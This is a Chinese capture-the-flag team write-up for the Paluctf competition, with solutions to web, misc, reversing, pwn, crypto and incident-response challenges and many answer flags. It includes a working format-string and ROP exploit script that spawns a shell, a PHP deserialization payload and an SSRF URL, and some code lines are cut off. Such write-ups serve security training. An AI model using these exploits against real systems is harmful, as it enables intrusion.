帕鲁杯ctf赛题全部解析wp
战队: Ciallo~(∠・ω<)⌒
成员: yuro, 洛ingly, adwa, nyyyddddn 排名: Rank 1
Web[2/4]
R23
简单的反序列化
class a |
{ |
public $b; |
} |
class b |
{ |
public $a; |
public $b; |
public $c; |
} |
class xk |
{ |
} |
$inner = new a(); |
$inner->b = new xk(); |
$point = null; |
$obj = new b(); |
$obj->a = $inner; |
$obj->b = &$point; |
$obj->c = &$point; |
$payload = serialize($obj); |
print($payload . PHP_EOL); |
# O:1:”b”:3:{s:1:”a”;O:1:”a”:1:{s:1:”b”;O:2:”xk”:0:{}}s:1:”b”;N;s:1:”c”;R:4;}
Web-签到
只要访问的url的response里有paluctf好了
直接http://127.0.0.1:14771/?url=http://127.0.0.1/flag
Misc[4/7]
江
识图即可
flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}
FM 145.8
Misc-签到
decimal_string = “27880 30693 25915 21892 38450 23454 39564 23460 21457 36865 |
decimals = map(int, decimal_string.split()) |
chinese_chars = ”.join([chr(decimal) for decimal in decimals]) | |
print(chinese_chars) | |
#注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag | |
ez_misc
010提取jpg末尾字符然后snow隐写提取
rar修复压缩文件
Carefree and carefree提取flag
Revervse[5/6]
茶
chacha20,动调发现key最后四个字节去掉了,直接拿下来解密即可
from Crypto.Cipher import ChaCha20 |
enc_data = bytes.fromhex(“f568c48912eed6dc520c7164f44b6378e1d0d3e248914fa8847 |
key = b”SGludDogSW1wcm92ZvZiBTYWxzYTIw” |
nonce = b”Is_This_” |
cc = ChaCha20.new(key=key, nonce=nonce) |
print(cc.decrypt(enc_data)) |
b
flag{But_I_Like_ChaCha20_More}
Auth System
有个tls回调函数,看了一下main函数,有一个很简单的判断身份验证是否成功的函数,跟进去发现是一个异或的逻辑
int sub_401550() |
{ |
int ii; // [rsp+28h] [rbp-18h] |
int n; // [rsp+2Ch] [rbp-14h] |
int m; // [rsp+30h] [rbp-10h] |
int k; // [rsp+34h] [rbp-Ch] |
int j; // [rsp+38h] [rbp-8h] |
int i; // [rsp+3Ch] [rbp-4h] |
for ( i = 0; (unsigned __int64)i <= 0x6D; ++i ) |
putchar(aUuUUuUUuuuUuuu[i] ^ 0xA); |
putchar(10); |
for ( j = 0; (unsigned __int64)j <= 0x6D; ++j ) |
putchar(aTwWTtTTtTWTttw[j] ^ 0xB); |
putchar(10); |
for ( k = 0; (unsigned __int64)k <= 0x6D; ++k ) |
putchar(aPPspPSlPSlPpPS[k] ^ 0xC); |
putchar(10); |
for ( m = 0; (unsigned __int64)m <= 0x6D; ++m ) |
putchar(aQRqQRqQRq11Rrr[m] ^ 0xD); |
putchar(10); |
for ( n = 0; (unsigned __int64)n <= 0x6D; ++n ) |
putchar(aRqrRqrrqqQrrqq[n] ^ 0xE); |
putchar(10); |
for ( ii = 0; (unsigned __int64)ii <= 0x6D; ++ii ) |
putchar(aSpppSpsSppppps[ii] ^ 0xF); |
return putchar(10); |
} |
解密得到flag
a = [0x2A, 0x2A, 0x55, 0x55, 0x2A, 0x55, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, |
for i in a: |
byte = i ^ 0xa |
print(chr(byte),end=””) |
b = [0x2B, 0x24, 0x2B, 0x54, 0x77, 0x2B, 0x77, 0x2B, 0x54, 0x54, 0x2B, 0x54, |
for i in b: |
byte = i ^ 0xb |
0
0
print(chr(byte),end=””) |
print() |
c = [0x70, 0x2C, 0x70, 0x53, 0x70, 0x2C, 0x70, 0x23, 0x2C, 0x53, 0x6C, 0x2C, |
for i in c: |
byte = i ^ 0xc |
print(chr(byte),end=””) |
print() |
d = [0x71, 0x2D, 0x2D, 0x52, 0x71, 0x2D, 0x71, 0x2D, 0x25, 0x52, 0x71, 0x2D, |
for i in d: |
byte = i ^ 0xd |
print(chr(byte),end=””) |
print() |
e = [0x72, 0x51, 0x72, 0x2E, 0x72, 0x51, 0x72, 0x52, 0x51, 0x51, 0x22, 0x51, |
for i in e: |
byte = i ^ 0xe |
print(chr(byte),end=””) |
0
0
print() |
f = [0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, 0x2F, |
for i in f: |
byte = i ^ 0xf |
print(chr(byte),end=””) |
0 0
PyLu pyinstxtractor解包,pycdc反编译出来,直接上z3
import z3 |
from Crypto.Util.number import * |
def enc(key): |
R = bytes_to_long(b”Welcome To PaluCTF!”) |
MOD = 2**418 |
R = R ^ ((R – 60) >> 24) |
R = R ^ ((R – 60) << 88) |
R ^= key |
R = (-R * R * 2024) % MOD |
R = (R * key) % MOD |
return R |
res = 0x2E441F765514CCA89173554726494D37E9FBE774B6F807BC5F6E71117530CE3D7DB5F |
s = z3.Solver() |
key = z3.BitVec(“key”, 418) |
s.add(enc(key) == res) |
s.check() |
m = s.model() |
flag = long_to_bytes(m[key].as_long()) |
print(flag) |
7
flag{e88f88d7-4d75-462b-8447-bf4ab7aeab1a} 帕鲁被病毒攻击了
图片修复长宽,得到压缩包密码palubei@2024#01
然 后 010 翻
983179bdb58ea980ec1fe7c45f63571d49b140bdd629f234be9c00a6edd8a4a7/layer
.tar
看到个很像flag的东西,提交过了
flag{0n3_n00b_ru1n5_0n3_hundr3d_pr05} O2 elf header被修改了,将EI_CLASS改为2即可修复(1是32位,2是64位)
分析一下sub_25C0,实际上一个加法和取模运算
爆一下行了
from string import printable |
enc = bytearray.fromhex(“364d4d5c3e387e00421c597a0a7302144d5b70087e0646195673 |
3
key = “PaluCTF” |
for i in range(len(enc)): |
for c in printable: |
if (ord(c) + ord(key[i % len(key)])) % 128 == enc[i]: |
print(c, end=””) |
break |
flag{d80a0d76-23af-486e-a0bc-43a463eac552}
Pwn[1/2]
Palu glibc 2.23 盲猜栈相关的漏洞
please input name这里有一个格式化字符串,用这个格式化字符串泄露canary和libc基地址
puts(“Please tell me your name”); |
read(0, buf, 0x5DuLL); |
printf(buf); |
然后用base64decode里面的gift打rop好了
unsigned __int64 __fastcall decode_palu64(const char *a1) |
{ |
char *v1; // rax |
int v2; // eax |
int v3; // eax |
int v4; // eax |
char *s; // [rsp+8h] [rbp-68h] |
int v7; // [rsp+20h] [rbp-50h] |
int i; // [rsp+24h] [rbp-4Ch] |
size_t v9; // [rsp+30h] [rbp-40h] |
char *haystack; // [rsp+38h] [rbp-38h] |
int v11; // [rsp+40h] [rbp-30h] |
int v12; // [rsp+44h] [rbp-2Ch] |
int v13; // [rsp+48h] [rbp-28h] |
int v14; // [rsp+4Ch] [rbp-24h] |
char buf[24]; // [rsp+50h] [rbp-20h] BYREF |
unsigned __int64 v16; // [rsp+68h] [rbp-8h] |
s = (char *)a1; |
v16 = __readfsqword(0x28u); |
v9 = (3 * strlen(a1)) >> 2; |
haystack = (char *)malloc(v9 + 1); |
if ( haystack ) |
{ |
v7 = 0; |
while ( *s ) |
{ |
for ( i = 0; i <= 3; ++i ) |
{ |
v1 = s++; |
*(&v11 + i) = palu64_decode((unsigned int)*v1); |
} |
v2 = v7++; |
haystack[v2] = (4 * v11) | (v12 >> 4); |
if ( v13 <= 63 ) |
{ |
v3 = v7++; |
haystack[v3] = (16 * v12) | (v13 >> 2); |
} |
if ( v14 <= 63 ) |
{ |
v4 = v7++; |
haystack[v4] = ((_BYTE)v13 << 6) | v14; |
} |
} |
haystack[v7] = 0; |
if ( strstr(haystack, “Palu”) ) |
{ |
puts(“A small gift”); |
read(0, buf, 0xC8uLL); |
} |
printf(“Decoded string: %s\n”, haystack); |
free(haystack); |
} |
else |
{ |
puts(“Memory allocation failed.”); |
} |
return __readfsqword(0x28u) ^ v16; |
} |
exp
from pwn import * |
# from LibcSearcher import * |
import itertools |
import ctypes |
context(os=’linux’, arch=’amd64′, log_level=’debug’) |
is_debug = 0 |
IP = “127.0.0.1” |
PORT = 40875 |
elf = context.binary = ELF(‘./Palu’) |
libc = elf.libc |
def connect(): |
return remote(IP, PORT) if not is_debug else process() |
g = lambda x: gdb.attach(x) |
s = lambda x: p.send(x) |
sl = lambda x: p.sendline(x) |
sa = lambda x, y: p.sendafter(x, y) |
sla = lambda x, y: p.sendlineafter(x, y) |
r = lambda x=None: p.recv() if x is None else p.recv(x) |
rl = lambda: p.recvline() |
ru = lambda x: p.recvuntil(x) |
r_leak_libc_64 = lambda: u64(p.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00′)) |
r_leak_libc_32 = lambda: u32(p.recvuntil(b’\xf7′)[-4:]) |
p = connect() |
payload = b”-%23$p-%25$p” |
sla(“Please tell me your name”,payload) |
ru(“-“) |
canary = int(r(18),16) |
success(f”leak_canary ->{hex(canary)}”) |
ru(“-“) |
libc_base = int(r(14),16) – (0x7ee1fd620840 – 0x7ee1fd600000) |
success(f”libc_base ->{hex(libc_base)}”) |
system = libc_base + libc.sym[‘system’] |
binsh = libc_base + next(libc.search(b’/bin/sh’)) |
rdi = 0x00000000004010a3 |
ret = 0x0000000000400761 |
Palu_base64encode = “UGFsdQ==” # Palu |
sla(“Please tell me your options”,”2″) |
sla(“Enter a palu64 string to decode: “,Palu_base64encode) |
payload = b’a’ * (0x20 – 8) + p64(canary) |
payload += b’a’ * 8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) |
sla(“A small gift”,payload) |
p.interactive()
Crypto[9/9] peeeq
https://www.zhihu.com/question/628747685?
utm_medium=social&utm_psn=1764759313145401345&utm_source=qq 得到leak=phi-1
然后后面找个板子打可以了
https://lazzzaro.github.io/2021/10/15/match-
2021%E5%B9%B4%E4%B8%AD%E5%9B%BD%E8%83%BD%E6%BA%90%E7%BD%91%E7%
BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B/#NumberGame
import gmpy2 |
from itertools import product |
from Crypto.Util.number import * |
“”” |
alpha = p’ * q’ – l |
beta = l^2 * [(e * d – 1) / s] + q’ * l + p’ * l – p’ * q’ – alpha – l^2 |
i.e.: |
beta = l^2 * {[(e * d – 1) / s] – 1} + l * (q’ + p’) – alpha – p’ * q’ |
if l,s are correct: |
alpha = k * t |
beta = k * (p’ – l) + t * (q’ – l) |
i.e: |
“”” |
def alpha_from_pprime_qprime_l(pprime, qprime, l): |
return pprime * qprime – l |
def beta_from_pprime_qprime_e_d_l_s_alpha(pprime, qprime, e, d, l, s, alpha): |
temp1 = e * d – 1 |
assert temp1 % s == 0 |
temp2 = ((temp1 // s) – 1) * l * l |
temp3 = temp2 + l * (pprime + qprime) |
return temp3 – alpha – (pprime * qprime) |
def k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alpha, beta): |
a = pprime – l |
b = -beta |
c = alpha * (qprime – l) |
disc = b * b – 4 * a * c |
assert gmpy2.is_square(disc) |
temp = -b + gmpy2.isqrt(disc) |
assert temp % (2 * a) == 0 |
k = temp // (2 * a) |
assert alpha % k == 0 |
return k, alpha // k |
def brute_k_t_l(pprime, qprime, e, d): |
# l, s = 2, 2 |
ss = [s for s in range(e – 100000, e + 1000000) if s != 0 and (e * d – 1) |
for l, s in product(range(1, 5000), ss): |
# print(f’l = {l}, s = {s}’) |
try: |
alpha = alpha_from_pprime_qprime_l(pprime, qprime, l) |
beta = beta_from_pprime_qprime_e_d_l_s_alpha( |
pprime, qprime, e, d, l, s, alpha |
) |
k, t = k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alp |
return k, t, l |
except AssertionError: |
continue |
if __name__ == “__main__”: |
# leak=p*q-p-q |
leak = 206509139700728687599592722396040242974208068086591105643120517368 |
pinv_e = 1247414037877104386502214884807813693646507980006613023461898310 |
qinv_e = 1647206449953560407401595632741127506095799998014240087894866808 |
e = GCD(pinv_e, qinv_e) // 3 |
fn = leak + 1 |
d = gmpy2.invert(e, fn) |
pprime = pinv_e // e |
qprime = qinv_e // e |
k, t, l = brute_k_t_l(pprime, qprime, e, d) |
lp, lq = qprime + k, pprime + t |
assert lp % l == 0, lq % l == 0 |
p, q = lp // l, lq // l |
assert gmpy2.invert(p, q) == pprime, gmpy2.invert(q, p) == qprime |
assert gmpy2.is_prime(p), gmpy2.is_prime(q) |
N = p * q |
c = 146564996837884613196017100888314128921945052544180648997614986792977 |
flag_decoded = pow(c, d, N) |
h 0
4
9
6
print(long_to_bytes(flag_decoded)) |
#b’paluctf{51b98a17-6843-4e3b-b06c-3cd956bc944c}’ |
gcccd
https://affine.group/writeup/2021-01-Zer0pts#warsamup
原题我直接用HGCD加速打了
from Crypto.Util.number import * |
def HGCD(a, b): |
if 2 * b.degree() <= a.degree() or a.degree() == 1: |
return 1, 0, 0, 1 |
m = a.degree() // 2 |
a_top, a_bot = a.quo_rem(x^m) |
b_top, b_bot = b.quo_rem(x^m) |
R00, R01, R10, R11 = HGCD(a_top, b_top) |
c = R00 * a + R01 * b |
d = R10 * a + R11 * b |
q, e = c.quo_rem(d) |
d_top, d_bot = d.quo_rem(x^(m // 2)) |
e_top, e_bot = e.quo_rem(x^(m // 2)) |
S00, S01, S10, S11 = HGCD(d_top, e_top) |
RET00 = S01 * R00 + (S00 – q * S01) * R10 |
RET01 = S01 * R01 + (S00 – q * S01) * R11 |
RET10 = S11 * R00 + (S10 – q * S11) * R10 |
RET11 = S11 * R01 + (S10 – q * S11) * R11 |
return RET00, RET01, RET10, RET11 |
def GCD(a, b): |
print(a.degree(), b.degree()) |
q, r = a.quo_rem(b) |
if r == 0: |
return b |
R00, R01, R10, R11 = HGCD(a, b) |
c = R00 * a + R01 * b |
d = R10 * a + R11 * b |
if d == 0: |
return c.monic() |
q, r = c.quo_rem(d) |
if r == 0: |
return d |
return GCD(d, r) |
n = 1281341552009003635573617701216482367475596637385914180414438615455614518 |
e = 5331 |
c1 = 606689460794231907098514842474338537832383810432117132589503365723925731 |
c2 = 430643715351466107862028137366743686182500342747687378576278727770517458 |
8
9
R.= PolynomialRing(Zmod(n)) |
f=(2*x + 1)**e – c1 |
g=x**e – c2 |
sol=GCD(f,g) |
m = 2*(-sol.monic()(0)) + 1 |
print(long_to_bytes(int(m))) |
#b’\x01\xe4\xfd\x02.\xd3=Dre\xf9C\xa7P\x9c\x92\xbb.|\x1c-\x9fx”\x14\xe7G\x97\ |
#flag{6a096839-3ccb-46b4-9eb0-841ca85c0f63} |
8 x
lcccg
https://zenn.dev/kurenaif/articles/f9d3f56e1d3235#the_onetime_pad
https://github.com/kurenaif/kurenaif_valentine_problems/blob/main/the_onetime_pad/problem.py 原题直接抄他代码了
from fractions import Fraction |
from Crypto.Util.number import * |
def get_x(cipher, pos, m, length): |
hoge = [] |
while cipher > 0: |
hoge.append(cipher % 2) |
cipher >>= 1 |
while len(hoge) < length: |
hoge.append(0) |
hoge = hoge[pos + 1 :] |
low = Fraction(0, 1) |
high = Fraction(m, 1) |
for i in range(len(hoge)): |
mid = (low + high) / 2 |
if hoge[i] == 0: |
high = mid |
else: |
low = mid |
return low.__ceil__(), high.__floor__() |
def challenge(cipher, length, m, x): |
inv2 = pow(2, -1, m) |
xs = [0] * (length + 1) |
xs[length] = x |
for i in range(length, 0, -1): |
xs[i – 1] = xs[i] * inv2 % m |
rand = 0 |
for i in range(length): |
rand += (xs[i] & 1) << i |
num = ((1 << length) – 1) & (cipher ^ rand) |
if b”paluctf” in long_to_bytes(num): |
print(long_to_bytes(num)) |
m = 7870528503754256659 |
length = 311 |
cipher = 32558152602384315848291327734794474088178501852296596484042082680012 |
low, high = get_x(cipher, length, m, length + 50) |
print(high – low) |
for x in range(low, high + 1): |
challenge(cipher, length, m, x) |
#b’paluctf{1_am_a_l0ng_l3g1n_1s_n0t_a_l!!}’ |
5
01110
2023浙江省赛原题
import gmpy2 |
from Crypto.Util.number import * |
c = […] |
n = 3906436609154007593560286731491682795606870930353029741839097841191389036 |
gift1 = 320676301451944861978698980827928814863454072008418253909408260894272 |
gift2 = 360493111446954743089613557546255044580147549879914031885888612983915 |
z = 1256420081357146151802130962491371520531152500515226176773143587482373107 |
p = GCD(gift1 + gift2, n) |
q = int(gmpy2.iroot(n // p, 2)[0]) |
def GM_decode(c, p, q): |
if pow(c, (p – 1) // 2, p) == 1 and pow(c, (q – 1) // 2, q) == 1: |
return 0 |
else: |
return 1 |
m = “” |
for i in c: |
m += str(GM_decode(i, p, q)) |
m = m[::-1] |
3
3
8
1
print(long_to_bytes(int(m, 2))) |
#b’paluctf{1_4m_th3_b0td_1n_t3st_1n_th3_r0w}’ |
Simple_Crypto
https://www.t00ls.com/articles-49265.html
原题序列都不用算,完全一样的直接用他的板子
from bintools import * |
class LFSR: |
def __init__(self,keyt,feedpath): |
self.trigger = [] |
self.feedback = [] |
self.degree = len(keyt) |
self.feed = len(feedpath) |
if len(feedpath) != self.degree: |
return None |
for i in keyt: |
self.trigger.append(i) |
for i in feedpath: |
self.feedback.append(i) |
def binxor(self,bin1,bin2): |
if bin1 == bin2: |
return ‘0’ |
else: |
return ‘1’ |
def getfeed(self): |
self.realdback = [] |
for i in range(self.feed): |
if self.feedback == ‘1’: |
self.realdback.append(self.trigger) |
for i in range(1,len(self.realdback)): |
self.realdback[0] = self.binxor(self.realdback[0],self.realdback) |
return self.realdback[0] |
def tick(self): |
outpin = self.trigger[-1] |
feedpin = self.getfeed() |
for i in range(self.degree-1,0,-1): |
self.trigger = self.trigger[i-1] |
self.trigger[0] = feedpin |
return outpin |
def getenbin(thisobj): |
tenbin = ” |
for i in range(8): |
tenbin += thisobj.tick() |
print(‘\t%s’%tenbin,end=”) |
return ord(BinToStr(tenbin)) |
if ‘__main__’ == __name__: |
newobj = LFSR(‘10110111101100111111101010011’,’00001000000000000111111100 |
fr = open(‘challenge.png.encrypt’,’rb+’) |
string = fr.read() |
fr.close() |
newstring = ” |
for i in range(len(string)): |
newstring += chr(string^getenbin(newobj)) |
fw = open(‘lfsr.png.encrypt’,’wb+’) |
fw.write(newstring.encode(encoding=”latin1″)) |
fw.close() |
print (“\nOk……”) |
0
玛卡巴卡有什么坏心思呢网上有密码表
“a”: “玛卡巴卡轰“, |
“b”: “阿巴雅卡轰“, |
“c”: “伊卡阿卡噢轰“, |
“d”: “哈姆达姆阿卡嗙轰“, |
“e”: “咿呀呦轰“, |
“f”: “玛卡雅卡轰“, |
“g”: “伊卡阿卡轰“, |
“h”: “咿呀巴卡轰“, |
“i”: “达姆阿卡嗙轰“, |
“j”: “玛卡巴卡玛卡巴卡轰“, |
“k”: “玛卡巴卡玛卡巴卡玛卡巴卡轰“, |
“l”: “玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰“, |
“m”: “阿巴雅卡阿巴雅卡轰“, |
“n”: “阿巴雅卡阿巴雅卡阿巴雅卡轰“, |
“o”: “阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰“, |
“p”: “伊卡阿卡噢伊卡阿卡噢轰“, |
“q”: “伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰“, |
“r”: “伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰“, |
“s”: “哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰“, |
“t”: “哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰“, |
“u”: “哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰“, |
“v”: “咿呀呦咿呀呦轰“, |
“w”: “咿呀呦咿呀呦咿呀呦轰“, |
“x”: “咿呀呦咿呀呦咿呀呦咿呀呦轰“, |
“y”: “咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰“, |
“z”: “玛卡雅卡玛卡雅卡轰“, |
“A”: “玛卡雅卡玛卡雅卡玛卡雅卡轰“, |
“B”: “玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰“, |
“C”: “伊卡阿卡伊卡阿卡轰“, |
“D”: “伊卡阿卡伊卡阿卡伊卡阿卡轰“, |
“E”: “伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰“, |
“F”: “咿呀巴卡咿呀巴卡轰“, |
“G”: “咿呀巴卡咿呀巴卡咿呀巴卡轰“, |
“H”: “咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰“, |
“I”: “咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰“, |
“J”: “达姆阿卡嗙达姆阿卡嗙轰“, |
“K”: “达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰“, |
“L”: “达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰“, |
“M”: “达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰“, |
“N”: “巴卡巴卡轰“, |
“O”: “巴卡巴卡巴卡巴卡轰“, |
“P”: “巴卡巴卡巴卡巴卡巴卡巴卡轰“, |
“Q”: “巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰“, |
“R”: “巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰“, |
“S”: “呀呦轰“, |
“T”: “呀呦呀呦轰“, |
“U”: “呀呦呀呦呀呦轰“, |
“V”: “呀呦呀呦呀呦呀呦轰“, |
“W”: “呀呦呀呦呀呦呀呦呀呦轰“, |
“X”: “达姆阿卡轰“, |
“Y”: “达姆阿卡达姆阿卡轰“, |
“Z”: “达姆阿卡达姆阿卡达姆阿卡轰“, |
“0”: “达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰“, |
“1”: “达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰“, |
“2”: “玛巴轰“, |
“3”: “玛巴玛巴轰“, |
“4”: “玛巴玛巴玛巴轰“, |
“5”: “玛巴玛巴玛巴玛巴轰“, |
“6”: “巴卡玛巴轰“, |
“7”: “巴卡玛巴巴卡玛巴轰“, |
“8”: “巴卡玛巴巴卡玛巴巴卡玛巴轰“, |
“9”: “巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰“, |
“=”: “妈个巴子轰“, |
“/”: “妈个巴卡轰“, |
“+”: “妈个巴达轰“, |
对着即可撸出来 jinitaimei
然后加个flag头即可两元钱的铜匠
sylvester结试直接爆
from Crypto.Util.number import * |
from sage.matrix.matrix2 import Matrix |
def resultant(f1, f2, var): |
return Matrix.determinant(f1.sylvester_matrix(f2, var)) |
n = 8091635113228513692133671416685940224851812567342194406669021036315794868 |
c = 2273030193022095581013239780940648550443099888328424747689074475981175930 |
N = 1758873395746433719423603969130197351184239283913397977510490498168623440 |
leak = 1611774884845796805031272983208748235398588950818589804504272981201825 |
P.= PolynomialRing(Zmod(N)) |
a=pow(9999, 66666,N) |
b=pow(66666, 9999,N) |
f1 = a*x+b*y-leak |
f2 = x*y-n |
1
1
9
5
hx = resultant(f1, f2, y) |
rx = hx.univariate_polynomial().roots() |
x, _ = zip(*rx) |
p=int(x[1]) |
q=n//p |
e=65537 |
d=inverse(e,(p-1)*(q-1)) |
print(long_to_bytes(int(pow(c,d,n)))) |
#b’paluctf{6699669966996699669966996699}’ |
Crypto-签到 nc进去拿数据 d出不了用dp
import gmpy2 |
from Crypto.Util.number import * |
c = 1697082756231533018355466609903675961030374295211204263031780026667052588 |
p = 6783866621664404311360631748289003038812476986464692488622430519698072975 |
e = 65537 |
n = 4602084634053241810281719471033587845035847645724919524419315162252291794 |
q = n // p |
d = gmpy2.invert(e, (p – 1) ) |
print(long_to_bytes(pow(c, d, p))) |
1
9
江枫渔火对愁眠 dfs+剪枝
from Crypto.Util.number import * |
n1 = 116117067844956812459549519789301338092862193317140117457423221066709482 |
leak1 = 860508104958398243829844050792007658706919618546380065818879967785709 |
leak2 = 134073731541518151875086455563326143499981098203613871043176590966661 |
c = 7739189801802586650465235728588687168650609049277507596485606072669726847 |
a_list, b_list = [0], [0] |
import itertools |
cur_mod = 1 |
for i in range(512): |
cur_mod *= 2 |
nxt_as, nxt_bs = [], [] |
for al, bl in zip(a_list, b_list): |
for ah, bh in itertools.product([0, 1], repeat=2): |
aa, bb = ah * (cur_mod // 2) + al, bh * (cur_mod // 2) + bl |
if (aa * bb % cur_mod == n1 % cur_mod) and ((aa & bb) == leak1 % |
nxt_as.append(aa) |
nxt_bs.append(bb) |
9
c
a_list, b_list = nxt_as, nxt_bs |
for a, b in zip(a_list, b_list): |
if a * b == n1 and a * b – n1 == 0 and (a & b) – leak1 == 0 and ((aa | bb |
break |
p=a |
q=b |
e=65537 |
d=inverse(e,(p-1)*(q-1)) |
print(long_to_bytes(pow(c,d,n1))) |
#b’paluctf{&&&|||&&&|||&&&&&&&&&&&&|||||||||}’ |
)
应急响应[49/52]
应急响应-01 — solved 找到JumpServer堡垒机中flag标签的值。
[BrYeaVj54009rDIZzu4O]
应急响应-02 — solved
提交攻击者第一次登录时间。
[2024/04/11/14:21:18]
应急响应-03 — solved
提交攻击者源IP。
jumpserver里直接翻
[192.168.1.4]
应急响应-04 — solved
提交攻者使用的cve编号。 jumpserver的cve
solved
提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
登上palu.com用户后可以直接sudo
直接md5sum home
[84413332e4e7138adc5d6f1f688ddd69]
应急响应-06 — solved
分析恶意程序连接地址和密码。
/root/home
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]
应急响应-07 — solved
提交存在反序列化漏洞的端口。猜的
应-08 — solved
提交攻击者使用的后门路由地址。
— solved 提交dnslog反弹域名。
[0vqkht.palu.cn] 应急响应-10 提交第一次扫描器使用时间。应急响应-11 — solved 提交攻击者反弹shell使用的语言。猜的
-12 — solved 提交攻击者反弹shell的ip。
[82.157.238.174]
应急响应-13 — solved
提交攻击者留下的账号。
[palu.com]
应急响应-14 — solved
提交攻击者的后门账户密码。
palu.com:$6$DQ8D3GcMdpWGs4KE$eBm2bLXdKP.NYLPp5HS7HrzNDVBVT8WSKCXhHF1Cly o4UaauojMtBg5StloDidMV9RsNhmcR3bmgltslfZuxL1:19828:0:99999:7::: 直接用john爆 -15 — solved
提交测试数据条数。
急响应-16 — solved
请提交攻击者留下的信息。
flag{hi_palu_f10g}
应急响应-17 — solved 请提交运维服务器上的恶意文件md5(小写32位md5值)。
[0fca0f847a45401c878d7a5303ddc1f8]
应急响应-18 — solved
提交恶意文件的恶意函数。
恶意函数为 begingame
[ddd0599cda1fc289a617db148d75383b]
应急响应-19 — solved
请提交攻击者恶意注册的恶意用户条数。
响应-20
请提交对博客系统的第一次扫描时间。 waf里可以翻到
[2024-04-16 21:03:46]
应急响应-21 — solved
提交攻击者下载的文件。
[upload.zip]
应急响应-22 — solved
请提交攻击者第一次下载服务器文件的时间。
[16/Apr/2024:09:03:52] 应急响应-23 — solved
请提交攻击者留下的冰蝎马的文件名称。
[nidewen.php]
应急响应-24 — solved
提交冰蝎的链接密码。
文件名
-25 — solved
提交办公区存在的恶意用户名。看看用户
-26 — solved
提交恶意用户密码到期时间。 cmd执行net user hacker
[2024/5/28/21:40:37]
应急响应-27 — solved
请对办公区留存的镜像取证并指出内存疑似恶意进程。 vol取证 pslist [.hack.ex]
应急响应-28 — solved
请指出该员工使用的公司OA平台的密码。
从raw.raw中dump出password.txt可以得到 — solved
攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。翻到了原题,直接交了
[h4ck3d!]
应急响应-30 — solved
请提交该计算机中记录的重要联系人的家庭住址。原题,实际应该是有个王总.contact,里面应该有地址 [秋水省雁荡市碧波区千屿山庄1号] 应急响应-31 — solved
请提交近源靶机上的恶意文件哈希。
开机弹出来了,恶意文件为artifact.exe
[a7fcd0b15a080167c4c2f05063802a6e]
应急响应-32 — solved
提交恶意程序的外联地址。 vt扫一下可以得到了
[101.78.63.44]
应急响应-33 — solved
提交攻击者使用内网扫描工具的哈希。查命令记录发现有使用过fscan md5sum webserver上的fscan [1facdcd05c43ba4d37274dffc90b6d4e]
应急响应-34 — solved
请提交攻击者在站点上留下的后门密码。
后门密码为123
[202cb962ac59075b964b07152d234b70]
应急响应-35 — solved
请提交攻击者在数据库留下的信息。
[flag{hack_palu}]
应急响应-36 — solved 提交攻击者在监控服务器上留下的dcnlog地址。
[palu.dcnlog.cn]
应急响应-37 — solved
提交监控服务器上恶意用户的上一次登录时间。
[2024/04/17/01:32:44]
应急响应-38 — solved
提交监控服务器上遗留的反弹shell地址和端口。
应急响应-39 — solved
提交恶意钓鱼文件的哈希。
【通知】第一届“帕鲁杯–应急响应挑战赛(初稿)”.docx为恶意钓鱼文件
[da75025ff7f3b6baa27f5913c1c83063] 应急响应-40 提交恶意文件外连IP。应急响应-41 — solved
提交被恶意文件钓鱼使用者的姓名。
[陈琚鹭] 应急响应-42 — solved
提交攻击者留下的信息。
flag{2024-04-17-hi}
应急响应-43 — solved
提交恶意用户数量。
响应-44 — solved
请提交员工集体使用的密码。
– solved
提交加密文件的哈希。
加密文件为encode.txt
[2bf71a0d6d4e70cec7602da2b653e2ab]
应急响应-46 — solved
提交被攻击者加密的内容明文。玛卡巴卡加密
solved
请提交符合基线标准的服务器数量。猜了半天才发现是0个…
[cfcd208495d565ef66e7dff9f98764da]
应急响应-48 — solved
提交办公区的恶意文件哈希。
恶意文件为palucomeyi1.exe
[5232a191eb2913337e0a93b0a990f2a2]
应急响应-49 — solved
提交恶意回连端口。
响应-50 — solved
提交恶意程序中的flag。
[flag{234567uyhgn_aiduyai}]
应急响应-51 — solved
提交恶意文件中的search_for_text内容。
[passwod]
应急响应-52
提交web服务器上攻击者修改后的root密码。